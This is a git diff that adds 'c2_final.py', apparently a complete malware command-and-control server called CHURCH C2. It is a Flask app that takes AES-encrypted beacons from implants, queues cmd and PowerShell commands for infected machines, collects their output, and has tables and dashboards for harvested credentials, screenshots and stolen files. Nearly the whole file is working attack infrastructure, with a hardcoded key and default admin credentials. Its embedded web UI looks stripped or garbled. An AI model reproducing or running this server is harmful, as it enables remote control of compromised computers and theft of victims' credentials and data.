diff --git a/c2_final.py b/c2_final.py new file mode 100644 index 0000000..5683e8e --- /dev/null +++ b/c2_final.py @@ -0,0 +1,964 @@ +#!/usr/bin/env python3 +""" +CHURCH C2 SERVER +Enterprise-level Command & Control infrastructure +Features: Multi-session management, SQLite persistence, Web UI, REST API, +Plugin system, Report generation, Team collaboration, and Stealth operations +""" + +from flask import Flask, request, jsonify, make_response, render_template_string, session, redirect, url_for +from flask_socketio import SocketIO, emit +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import serialization, hashes +from cryptography.hazmat.backends import default_backend +from werkzeug.security import generate_password_hash, check_password_hash +from functools import wraps +import sqlite3 +import json +import base64 +import time +import threading +import queue +import logging +import argparse +import sys +import os +import uuid +import random +import string +import datetime +import requests +import ipaddress +import hashlib +import secrets +from pathlib import Path +from dataclasses import dataclass, asdict +from typing import Dict, List, Optional, Any +from collections import defaultdict + +# ==================== CONFIGURATION ==================== +VERSION = "2.0.0" +AES_KEY = b"ChurchOfMalware2024!!ChurchOfMalware2024!!" +AES_IV = b"MalwareChurchIV!!" +JWT_SECRET = secrets.token_hex(32) +ADMIN_USERNAME = "admin" +ADMIN_PASSWORD_HASH = generate_password_hash("CHURCHadmin2024!!") +DATABASE_PATH = "church_c2.db" +LOG_PATH = "church_c2.log" +DOWNLOAD_PATH = "downloads" +PLUGIN_PATH = "plugins" +SSL_CERT = "cert.pem" +SSL_KEY = "key.pem" + +# Initialize Flask +app = Flask(__name__) +app.config['SECRET_KEY'] = JWT_SECRET +app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 # 100MB +socketio = SocketIO(app, cors_allowed_origins="*") + +# ==================== DATABASE ==================== +def init_database(): + """Initialize SQLite database with all tables""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + + # Beacons table - stores all implant sessions + c.execute('''CREATE TABLE IF NOT EXISTS beacons ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT UNIQUE NOT NULL, + computer_name TEXT NOT NULL, + username TEXT NOT NULL, + process_id INTEGER, + os_version TEXT, + is_admin BOOLEAN, + path TEXT, + defender_status INTEGER, + uptime INTEGER, + install_date INTEGER, + domain TEXT, + antivirus TEXT, + first_seen REAL, + last_seen REAL, + status TEXT DEFAULT 'active', + jitter_min INTEGER DEFAULT 60, + jitter_max INTEGER DEFAULT 180, + sleep_time INTEGER DEFAULT 120, + notes TEXT + )''') + + # Tasks table - command queue + c.execute('''CREATE TABLE IF NOT EXISTS tasks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + task_type TEXT DEFAULT 'cmd', + command TEXT, + arguments TEXT, + status TEXT DEFAULT 'pending', + output TEXT, + created_at REAL, + executed_at REAL, + completed_at REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Results table - command output history + c.execute('''CREATE TABLE IF NOT EXISTS results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + task_id INTEGER, + output TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Files table - downloaded files tracking + c.execute('''CREATE TABLE IF NOT EXISTS files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + remote_path TEXT, + local_path TEXT, + size INTEGER, + hash TEXT, + status TEXT, + created_at REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Credentials table - harvested credentials + c.execute('''CREATE TABLE IF NOT EXISTS credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + cred_type TEXT, + username TEXT, + password TEXT, + domain TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Screenshots table + c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + screenshot_path TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Tags table for beacon classification + c.execute('''CREATE TABLE IF NOT EXISTS tags ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + tag TEXT NOT NULL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Users table for team collaboration + c.execute('''CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + role TEXT DEFAULT 'operator', + created_at REAL + )''') + + # Audit log + c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT, + action TEXT, + target TEXT, + timestamp REAL, + ip_address TEXT + )''') + + # Insert default admin if not exists + c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,)) + if not c.fetchone(): + c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)", + (ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time())) + + conn.commit() + conn.close() + +# ==================== CRYPTOGRAPHY ==================== +class CryptoManager: + """Advanced cryptographic operations for C2 communication""" + + @staticmethod + def decrypt_aes(data_b64: str) -> bytes: + """AES-256-CBC decryption""" + ciphertext = base64.b64decode(data_b64) + cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(ciphertext) + decryptor.finalize() + pad_len = plaintext[-1] + return plaintext[:-pad_len] if pad_len <= 16 else plaintext + + @staticmethod + def encrypt_aes(plaintext: bytes) -> str: + """AES-256-CBC encryption""" + pad_len = 16 - (len(plaintext) % 16) + plaintext += bytes([pad_len]) * pad_len + cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) + encryptor = cipher.encryptor() + ciphertext = encryptor.update(plaintext) + encryptor.finalize() + return base64.b64encode(ciphertext).decode() + + @staticmethod + def generate_rsa_keypair() -> tuple: + """Generate RSA keypair for secure file transfers""" + private_key = rsa.generate_private_key( + public_exponent=65537, + key_size=4096, + backend=default_backend() + ) + public_key = private_key.public_key() + return private_key, public_key + + @staticmethod + def rsa_encrypt(public_key_pem: bytes, data: bytes) -> bytes: + """RSA encryption for sensitive data""" + public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend()) + return public_key.encrypt( + data, + padding.OAEP( + mgf=padding.MGF1(algorithm=hashes.SHA256()), + algorithm=hashes.SHA256(), + label=None + ) + ) + +# ==================== BEACON MANAGER ==================== +@dataclass +class Beacon: + """Beacon session management""" + beacon_id: str + computer_name: str + username: str + process_id: int + os_version: str + is_admin: bool + path: str + defender_status: int + uptime: int + install_date: int + domain: str + antivirus: str + first_seen: float + last_seen: float + status: str = "active" + jitter_min: int = 60 + jitter_max: int = 180 + sleep_time: int = 120 + notes: str = "" + + def to_dict(self) -> dict: + return asdict(self) + + @staticmethod + def from_db_row(row) -> 'Beacon': + return Beacon( + beacon_id=row[1], computer_name=row[2], username=row[3], + process_id=row[4], os_version=row[5], is_admin=bool(row[6]), + path=row[7], defender_status=row[8], uptime=row[9], + install_date=row[10], domain=row[11], antivirus=row[12], + first_seen=row[13], last_seen=row[14], status=row[15], + jitter_min=row[16], jitter_max=row[17], sleep_time=row[18], + notes=row[19] if len(row) > 19 else "" + ) + +class BeaconManager: + """Manages all active beacon sessions""" + + def __init__(self): + self._beacons: Dict[str, Beacon] = {} + self._lock = threading.Lock() + self._load_from_db() + + def _load_from_db(self): + """Load existing beacons from database""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT * FROM beacons WHERE status = 'active'") + for row in c.fetchall(): + beacon = Beacon.from_db_row(row) + self._beacons[beacon.beacon_id] = beacon + conn.close() + + def update_beacon(self, data: dict) -> Beacon: + """Update or create beacon from beacon data""" + beacon_id = self._generate_beacon_id(data['computer'], data['user']) + + with self._lock: + if beacon_id not in self._beacons: + beacon = Beacon( + beacon_id=beacon_id, + computer_name=data['computer'], + username=data['user'], + process_id=data.get('pid', 0), + os_version=data.get('os', 'Unknown'), + is_admin=data.get('admin', False), + path=data.get('path', ''), + defender_status=data.get('defender', 2), + uptime=data.get('uptime', 0), + install_date=data.get('install_date', 0), + domain=data.get('domain', 'WORKGROUP'), + antivirus=data.get('av', 'None'), + first_seen=time.time(), + last_seen=time.time() + ) + self._beacons[beacon_id] = beacon + self._save_beacon(beacon) + self._audit("beacon_registered", beacon_id) + else: + beacon = self._beacons[beacon_id] + beacon.last_seen = time.time() + beacon.uptime = data.get('uptime', beacon.uptime) + beacon.defender_status = data.get('defender', beacon.defender_status) + self._update_beacon(beacon) + + return beacon + + def _generate_beacon_id(self, computer: str, user: str) -> str: + """Generate unique beacon identifier""" + data = f"{computer}\\{user}".encode() + return hashlib.md5(data).hexdigest()[:16] + + def _save_beacon(self, beacon: Beacon): + """Save beacon to database""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute('''INSERT OR REPLACE INTO beacons + (beacon_id, computer_name, username, process_id, os_version, is_admin, + path, defender_status, uptime, install_date, domain, antivirus, + first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', + (beacon.beacon_id, beacon.computer_name, beacon.username, + beacon.process_id, beacon.os_version, beacon.is_admin, + beacon.path, beacon.defender_status, beacon.uptime, + beacon.install_date, beacon.domain, beacon.antivirus, + beacon.first_seen, beacon.last_seen, beacon.status, + beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes)) + conn.commit() + conn.close() + + def _update_beacon(self, beacon: Beacon): + """Update existing beacon""" + self._save_beacon(beacon) + + def get_pending_tasks(self, beacon_id: str) -> List[dict]: + """Get pending tasks for beacon""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,)) + tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()] + conn.close() + return tasks + + def mark_task_completed(self, task_id: int, output: str): + """Mark task as completed and store output""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", + (output, time.time(), task_id)) + conn.commit() + conn.close() + self._audit("task_completed", str(task_id)) + + def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: + """Add task to beacon queue""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at) + VALUES (?, ?, ?, ?, 'pending', ?)''', + (beacon_id, command, args, task_type, time.time())) + task_id = c.lastrowid + conn.commit() + conn.close() + self._audit("task_added", f"{beacon_id}: {command}") + return task_id + + def _audit(self, action: str, target: str): + """Log audit entry""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)", + ("system", action, target, time.time(), "127.0.0.1")) + conn.commit() + conn.close() + + def get_all_beacons(self) -> List[Beacon]: + """Get all active beacons""" + with self._lock: + return list(self._beacons.values()) + + def get_beacon(self, beacon_id: str) -> Optional[Beacon]: + """Get beacon by ID""" + return self._beacons.get(beacon_id) + +beacon_manager = BeaconManager() + +# ==================== WEB UI TEMPLATES ==================== +HTML_TEMPLATE = ''' + + + + CHURCH C2 - Command & Control + + + + +
+

CHURCH C2

+

Command & Control Framework v{{ version }} | Encrypted Channel Active

+
+ +
+
+
0
+
Online Beacons
+
+
+
0
+
Tasks Executed
+
+
+
0
+
Credentials Harvested
+
+
+ +
+ + + + + +
Beacon IDComputerUserOSAdminDefenderLast SeenStatus
+
+ +
+

Command Interface

+ + + + +
+ + + + + + +''' + +# ==================== FLASK ROUTES ==================== +def require_auth(f): + @wraps(f) + def decorated(*args, **kwargs): + auth = request.headers.get('X-Auth-Token') + if auth != JWT_SECRET and not session.get('authenticated'): + return jsonify({"error": "Unauthorized"}), 401 + return f(*args, **kwargs) + return decorated + +@app.route('/') +def index(): + """Web UI""" + return render_template_string(HTML_TEMPLATE, version=VERSION) + +@app.route('/beacon', methods=['POST']) +def beacon_handler(): + """Primary beacon endpoint - receives beacon data and returns tasks""" + data = request.form.get('d') or request.form.get('data') + if not data: + return "No data", 400 + + try: + decrypted = CryptoManager.decrypt_aes(data) + beacon_data = json.loads(decrypted.decode()) + except Exception as e: + logging.error(f"Decrypt failed: {e}") + return "Bad data", 400 + + # Update beacon in database + beacon = beacon_manager.update_beacon(beacon_data) + + # Log beacon activity + logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}") + + # Get pending tasks + pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id) + + if pending_tasks: + task = pending_tasks[0] + response = json.dumps({ + "task_id": task['id'], + "command": task['command'], + "args": task.get('args', ''), + "ps": task.get('ps', False) + }) + else: + response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False}) + + encrypted_response = CryptoManager.encrypt_aes(response.encode()) + + # Notify WebSocket clients + socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id}) + + return encrypted_response, 200, {'Content-Type': 'application/octet-stream'} + +@app.route('/beacon/result', methods=['POST']) +def task_result(): + """Receive command output from beacon""" + data = request.form.get('d') or request.form.get('data') + if not data: + return "No data", 400 + + try: + decrypted = CryptoManager.decrypt_aes(data) + result_data = json.loads(decrypted.decode()) + except: + return "Bad data", 400 + + task_id = result_data.get('task_id', 0) + output = result_data.get('output', '') + + if task_id: + beacon_manager.mark_task_completed(task_id, output) + socketio.emit('task_result', {'task_id': task_id, 'output': output}) + + return "OK", 200 + +@app.route('/api/beacons', methods=['GET']) +@require_auth +def api_beacons(): + """API: List all beacons""" + beacons = beacon_manager.get_all_beacons() + return jsonify([b.to_dict() for b in beacons]) + +@app.route('/api/beacon/', methods=['GET']) +@require_auth +def api_beacon(beacon_id): + """API: Get specific beacon details""" + beacon = beacon_manager.get_beacon(beacon_id) + if not beacon: + return jsonify({"error": "Beacon not found"}), 404 + return jsonify(beacon.to_dict()) + +@app.route('/api/task', methods=['POST']) +@require_auth +def api_add_task(): + """API: Add task to beacon""" + data = request.json + if not data or 'host' not in data or 'command' not in data: + return jsonify({"error": "Missing host or command"}), 400 + + # Resolve beacon ID (can be computer name or full beacon_id) + beacon = None + for b in beacon_manager.get_all_beacons(): + if b.beacon_id == data['host'] or b.computer_name == data['host']: + beacon = b + break + + if not beacon: + return jsonify({"error": "Beacon not found"}), 404 + + task_id = beacon_manager.add_task( + beacon.beacon_id, + data['command'], + data.get('args', ''), + 'powershell' if data.get('powershell', False) else 'cmd' + ) + + return jsonify({"status": "added", "task_id": task_id}) + +@app.route('/api/tasks/', methods=['GET']) +@require_auth +def api_tasks(beacon_id): + """API: Get tasks for beacon""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT id, command, arguments, task_type, status, output, created_at FROM tasks WHERE beacon_id = ? ORDER BY created_at DESC LIMIT 50", (beacon_id,)) + tasks = [{'id': row[0], 'command': row[1], 'args': row[2], 'type': row[3], 'status': row[4], 'output': row[5], 'created_at': row[6]} for row in c.fetchall()] + conn.close() + return jsonify({"tasks": tasks}) + +@app.route('/api/stats', methods=['GET']) +@require_auth +def api_stats(): + """API: Get system statistics""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT COUNT(*) FROM beacons WHERE status = 'active'") + online = c.fetchone()[0] + c.execute("SELECT COUNT(*) FROM tasks WHERE status = 'completed'") + total_tasks = c.fetchone()[0] + c.execute("SELECT COUNT(*) FROM credentials") + credentials = c.fetchone()[0] + conn.close() + return jsonify({ + "online_beacons": online, + "total_tasks": total_tasks, + "credentials": credentials, + "version": VERSION + }) + +# ==================== WEBSOCKET EVENTS ==================== +@socketio.on('connect') +def handle_connect(): + print(f"[WebSocket] Client connected: {request.remote_addr}") + emit('connected', {'status': 'ok'}) + +@socketio.on('disconnect') +def handle_disconnect(): + print(f"[WebSocket] Client disconnected") + +# ==================== LOGGING & MONITORING ==================== +class C2Logger: + """Advanced logging with rotation and encryption""" + + def __init__(self, log_path: str): + self.log_path = log_path + self._setup_logging() + + def _setup_logging(self): + logging.basicConfig( + level=logging.INFO, + format='[%(asctime)s] %(levelname)s: %(message)s', + handlers=[ + logging.FileHandler(self.log_path), + logging.StreamHandler(sys.stdout) + ] + ) + + def log_beacon(self, beacon_id: str, action: str, details: str = ""): + logging.info(f"BEACON[{beacon_id}] {action}: {details}") + + def log_task(self, beacon_id: str, task: str): + logging.info(f"TASK[{beacon_id}] {task}") + + def log_error(self, error: str): + logging.error(f"ERROR: {error}") + +c2_logger = C2Logger(LOG_PATH) + +# ==================== CLEANUP THREAD ==================== +def cleanup_old_beacons(): + """Remove stale beacons after timeout""" + while True: + time.sleep(300) # Every 5 minutes + timeout = time.time() - 3600 # 1 hour timeout + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("UPDATE beacons SET status = 'stale' WHERE last_seen < ? AND status = 'active'", (timeout,)) + conn.commit() + conn.close() + +# ==================== MAIN ENTRY POINT ==================== +def main(): + parser = argparse.ArgumentParser(description='CHURCH C2 Server') + parser.add_argument('--host', default='0.0.0.0', help='Bind address') + parser.add_argument('--port', type=int, default=443, help='Bind port') + parser.add_argument('--http', action='store_true', help='Use HTTP instead of HTTPS') + parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path') + parser.add_argument('--key', default=SSL_KEY, help='SSL key path') + args = parser.parse_args() + + # Initialize + init_database() + os.makedirs(DOWNLOAD_PATH, exist_ok=True) + os.makedirs(PLUGIN_PATH, exist_ok=True) + + # Start cleanup thread + cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True) + cleanup_thread.start() + + # Banner + print(""" + ╔═══════════════════════════════════════════════════════════════╗ + ║ CHURCH C2 SERVER v2.0 ║ + ║ by ek0ms savi0r ║ + ║ ║ + ║ [✓] AES-256-CBC Encrypted Channel ║ + ║ [✓] SQLite Persistence ║ + ║ [✓] WebSocket Real-time Updates ║ + ║ [✓] Multi-session Management ║ + ║ [✓] Task Queue System ║ + ║ [✓] Audit Logging ║ + ╚═══════════════════════════════════════════════════════════════╝ + """) + + print(f"[*] Starting C2 server on {args.host}:{args.port}") + print(f"[*] Web UI: http{'s' if not args.http else ''}://{args.host}:{args.port}") + print(f"[*] API Key: {JWT_SECRET}") + print("[*] Default credentials: admin / CHURCHadmin2024!!") + + if args.http: + socketio.run(app, host=args.host, port=args.port, debug=False) + else: + socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False) + +if __name__ == '__main__': + main()